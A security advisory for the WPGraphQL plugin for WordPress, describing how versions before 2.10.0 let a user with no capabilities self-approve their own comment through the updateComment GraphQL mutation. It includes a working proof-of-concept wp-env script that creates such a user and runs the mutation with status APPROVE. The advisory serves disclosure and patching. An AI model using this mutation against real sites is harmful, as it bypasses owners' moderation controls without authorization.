GHSA-9hc3-mh5h-4fgh: WPGraphQL Repo's updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderatecomments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.

Details

In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:

- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress commentapproved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wpupdatecomment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).

This means a non-moderator owner can submit status during update and transition moderation state.

PoC

Tested in local wp-env (Docker) with WPGraphQL 2.9.1.

1. Start environment:

npm install npm run wp-env start

2. Run this PoC:

npm run wp-env run cli -- wp eval ' addrole("nocaps","No Caps",[]); $userid = usernameexists("pocnocaps"); if ( ! $userid ) { $userid = wpcreateuser("pocnocaps","Passw0rd!","pocnocaps@example.com"); } $user = getuserby("id",$userid); $user->setrole("nocaps");

$postid = wpinsertpost([ "posttitle" => "PoC post", "poststatus" => "publish", "posttype" => "post", "commentstatus" => "open", ]);

$commentid = wpinsertcomment([ "commentpostID" => $postid, "commentcontent" => "pending comment", "userid" => $userid, "commentauthor" => $user->displayname, "commentauthoremail" => $user->useremail, "commentapproved" => "0", ]);

wpsetcurrentuser($userid);

$result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$commentid ], ]);

echo wpjsonencode([ "rolecaps" => arraykeys(arrayfilter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "dbcommentapproved" => getcomment($commentid)->commentapproved ?? null, "commentid" => $commentid ]); '

3. Observe result:

- rolecaps is empty (or no moderatecomments) - mutation returns status: APPROVE - DB value becomes commentapproved = 1

Impact

This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.